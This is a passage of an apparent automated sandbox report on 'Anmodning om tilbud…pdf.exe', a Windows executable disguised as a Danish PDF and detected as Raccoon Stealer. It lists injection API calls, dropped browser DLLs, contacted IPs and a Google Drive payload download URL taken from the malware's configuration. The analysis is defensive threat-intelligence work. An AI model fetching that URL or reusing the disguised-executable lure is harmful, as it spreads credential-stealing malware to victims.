Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_0040430C
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_0040430C
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404B27
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404B27
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_0040533B
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_004047C4
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_004047C4
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404FDE
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404FDE
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_004043E8
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_004043E8
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404380
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404380
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00404B98
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00404B98
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_004053A3
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ebx, 00005B18h	0_2_00403FA7
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 4x nop then mov ecx, ecx	0_2_00403FA7

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: https://drive.google.com/uc?export=download&id=1EVgv79jm2Kha80e4t5kPPRtQGH8glBYc

Source: Joe Sandbox View	IP Address: 195.201.225.248 195.201.225.248
Source: Joe Sandbox View	IP Address: 195.123.215.115 195.123.215.115

Source: Joe Sandbox View

ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View	JA3 fingerprint: ce5f3254611a8c095a3d821d44539877
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS traffic detected: queries for: doc-00-7g-docs.googleusercontent.com

Source: mozglue.dll.12.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: mozglue.dll.12.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://cps.chambersign.org/cps/chambersignroot.html0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://crl.chambersign.org/chambersignroot.crl0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: nssckbi.dll.12.dr	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: mozglue.dll.12.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: mozglue.dll.12.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: mozglue.dll.12.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: mozglue.dll.12.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: mozglue.dll.12.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: nssckbi.dll.12.dr	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignCA.crl0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://ocsp.accv.es0
Source: mozglue.dll.12.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: mozglue.dll.12.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: mozglue.dll.12.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://policy.camerfirma.com0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://repository.swisssign.com/0
Source: mozglue.dll.12.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: mozglue.dll.12.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: mozglue.dll.12.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: nssckbi.dll.12.dr	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: nssckbi.dll.12.dr	String found in binary or memory: http://www.accv.es00
Source: nssckbi.dll.12.dr	String found in binary or memory: http://www.cert.fnmt.es/dpcs/0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://www.certicamara.com/dpc/0Z
Source: nssckbi.dll.12.dr	String found in binary or memory: http://www.certplus.com/CRL/class2.crl0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://www.chambersign.org1
Source: nssckbi.dll.12.dr	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: mozglue.dll.12.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: mozglue.dll.12.dr	String found in binary or memory: http://www.mozilla.com0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://www.pkioverheid.nl/policies/root-policy-G20
Source: nssckbi.dll.12.dr	String found in binary or memory: http://www.quovadis.bm0
Source: nssckbi.dll.12.dr	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: sqlite3.dll.12.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: nssckbi.dll.12.dr	String found in binary or memory: http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000003.862159056.0000000066921000.00000004.00000001.sdmp, 1xVPfvJcrg.12.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000003.862159056.0000000066921000.00000004.00000001.sdmp, 1xVPfvJcrg.12.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.877495152.0000000000561000.00000040.00000001.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1EVgv79jm2Kha80e4t5kPPRtQGH8glBYc
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000003.862159056.0000000066921000.00000004.00000001.sdmp, 1xVPfvJcrg.12.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000003.862159056.0000000066921000.00000004.00000001.sdmp, 1xVPfvJcrg.12.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000003.862159056.0000000066921000.00000004.00000001.sdmp, 1xVPfvJcrg.12.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: nssckbi.dll.12.dr	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: nssckbi.dll.12.dr	String found in binary or memory: https://repository.luxtrust.lu0
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000003.862159056.0000000066921000.00000004.00000001.sdmp, 1xVPfvJcrg.12.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000003.862159056.0000000066921000.00000004.00000001.sdmp, 1xVPfvJcrg.12.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: nssckbi.dll.12.dr	String found in binary or memory: https://www.catcert.net/verarrel
Source: nssckbi.dll.12.dr	String found in binary or memory: https://www.catcert.net/verarrel05
Source: mozglue.dll.12.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000003.862159056.0000000066921000.00000004.00000001.sdmp, 1xVPfvJcrg.12.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443

Source: unknown	HTTPS traffic detected: 216.58.215.225:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.201.225.248:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.123.215.115:443 -> 192.168.2.4:49762 version: TLS 1.2

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Code function: 0_2_0040D548 OpenClipboard,

0_2_0040D548

E-Banking Fraud:

Yara detected Raccoon Stealer

Show sources

Source: Yara match

File source: Process Memory Space: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 4552, type: MEMORY

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Process Stats: CPU usage > 98%

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A4E08 NtProtectVirtualMemory,	0_2_022A4E08
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A528C NtResumeThread,	0_2_022A528C
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A1F10 NtSetInformationThread,NtWriteVirtualMemory,	0_2_022A1F10
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A03F5 EnumWindows,NtSetInformationThread,	0_2_022A03F5
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A300B NtSetInformationThread,	0_2_022A300B
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A2018 NtWriteVirtualMemory,	0_2_022A2018
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A22BC NtWriteVirtualMemory,	0_2_022A22BC
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A5295 NtResumeThread,	0_2_022A5295
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A10FF NtSetInformationThread,	0_2_022A10FF
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A0EF7 NtSetInformationThread,	0_2_022A0EF7
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A04C9 NtSetInformationThread,	0_2_022A04C9
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A5336 NtResumeThread,	0_2_022A5336
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A5501 NtResumeThread,	0_2_022A5501
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A0D5E NtSetInformationThread,	0_2_022A0D5E
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A51EB NtProtectVirtualMemory,	0_2_022A51EB
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A53F2 NtResumeThread,	0_2_022A53F2
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A11CB NtSetInformationThread,	0_2_022A11CB

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00403E7A	0_2_00403E7A
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_0040445A	0_2_0040445A
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404C77	0_2_00404C77
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404015	0_2_00404015
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404839	0_2_00404839
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_004044C9	0_2_004044C9
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_004040F0	0_2_004040F0
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404081	0_2_00404081
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_004048AA	0_2_004048AA
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_0040415D	0_2_0040415D
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404915	0_2_00404915
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404538	0_2_00404538
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_004041C0	0_2_004041C0
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_004049F8	0_2_004049F8
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404987	0_2_00404987
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_004045B2	0_2_004045B2
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404A65	0_2_00404A65
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_0040461C	0_2_0040461C
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404230	0_2_00404230
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00403EC3	0_2_00403EC3
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404AC5	0_2_00404AC5
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_004046EA	0_2_004046EA
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_0040468B	0_2_0040468B
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_004042A4	0_2_004042A4
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404753	0_2_00404753
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_0040430C	0_2_0040430C
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404B27	0_2_00404B27
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_004047C4	0_2_004047C4
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_004043E8	0_2_004043E8
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404380	0_2_00404380
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00403FA7	0_2_00403FA7
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 12_2_6D0EBD8F	12_2_6D0EBD8F
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 12_2_6D0F5F1F	12_2_6D0F5F1F
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 12_2_6D0F0229	12_2_6D0F0229

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Code function: String function: 6D0E90E5 appears 41 times

Source: sqlite3.dll.12.dr

Static PE information: Number of sections : 18 > 10

Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameEleciv.exe vs Anmodning om tilbud 12-04-2021#U00b7pdf.exe
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.880896126.0000000066A10000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameKernelbase.dll.muij% vs Anmodning om tilbud 12-04-2021#U00b7pdf.exe
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000000.778555254.0000000000414000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameEleciv.exe vs Anmodning om tilbud 12-04-2021#U00b7pdf.exe
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.880816092.000000001E040000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dllj% vs Anmodning om tilbud 12-04-2021#U00b7pdf.exe
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.880785480.000000001DDB0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameCRYPT32.DLL.MUIj% vs Anmodning om tilbud 12-04-2021#U00b7pdf.exe
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881189819.000000006D23B000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamenss3.dll8 vs Anmodning om tilbud 12-04-2021#U00b7pdf.exe
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.880770161.000000001DC60000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemswsock.dll.muij% vs Anmodning om tilbud 12-04-2021#U00b7pdf.exe
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamemozglue.dll8 vs Anmodning om tilbud 12-04-2021#U00b7pdf.exe
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.880822923.000000001E050000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dll.muij% vs Anmodning om tilbud 12-04-2021#U00b7pdf.exe
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Binary or memory string: OriginalFilenameEleciv.exe vs Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/67@3/3

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Code function: 12_2_6D0EADB0 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

12_2_6D0EADB0

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

File created: C:\Users\user\AppData\LocalLow\sqlite3.dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6500:120:WilError_01
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Mutant created: \Sessions\1\BaseNamedObjects\uiabfqwfuuser

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

File created: C:\Users\user\AppData\Local\Temp\~DF57257DC25578F538.TMP

Jump to behavior

Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: softokn3.dll.12.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881153656.000000006D200000.00000002.00020000.sdmp, sqlite3.dll.12.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: softokn3.dll.12.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: softokn3.dll.12.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881153656.000000006D200000.00000002.00020000.sdmp, sqlite3.dll.12.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881153656.000000006D200000.00000002.00020000.sdmp, nss3.dll.12.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);docid INTEGER PRIMARY KEY%z, 'c%d%q'%z, langidCREATE TABLE %Q.'%q_content'(%s)CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);<
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881153656.000000006D200000.00000002.00020000.sdmp, sqlite3.dll.12.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881153656.000000006D200000.00000002.00020000.sdmp, sqlite3.dll.12.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.12.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.12.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.12.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.12.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: softokn3.dll.12.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: sqlite3.dll.12.dr	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.12.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881153656.000000006D200000.00000002.00020000.sdmp, nss3.dll.12.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881153656.000000006D200000.00000002.00020000.sdmp, nss3.dll.12.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881153656.000000006D200000.00000002.00020000.sdmp, sqlite3.dll.12.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881153656.000000006D200000.00000002.00020000.sdmp, nss3.dll.12.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.881153656.000000006D200000.00000002.00020000.sdmp, nss3.dll.12.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.12.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
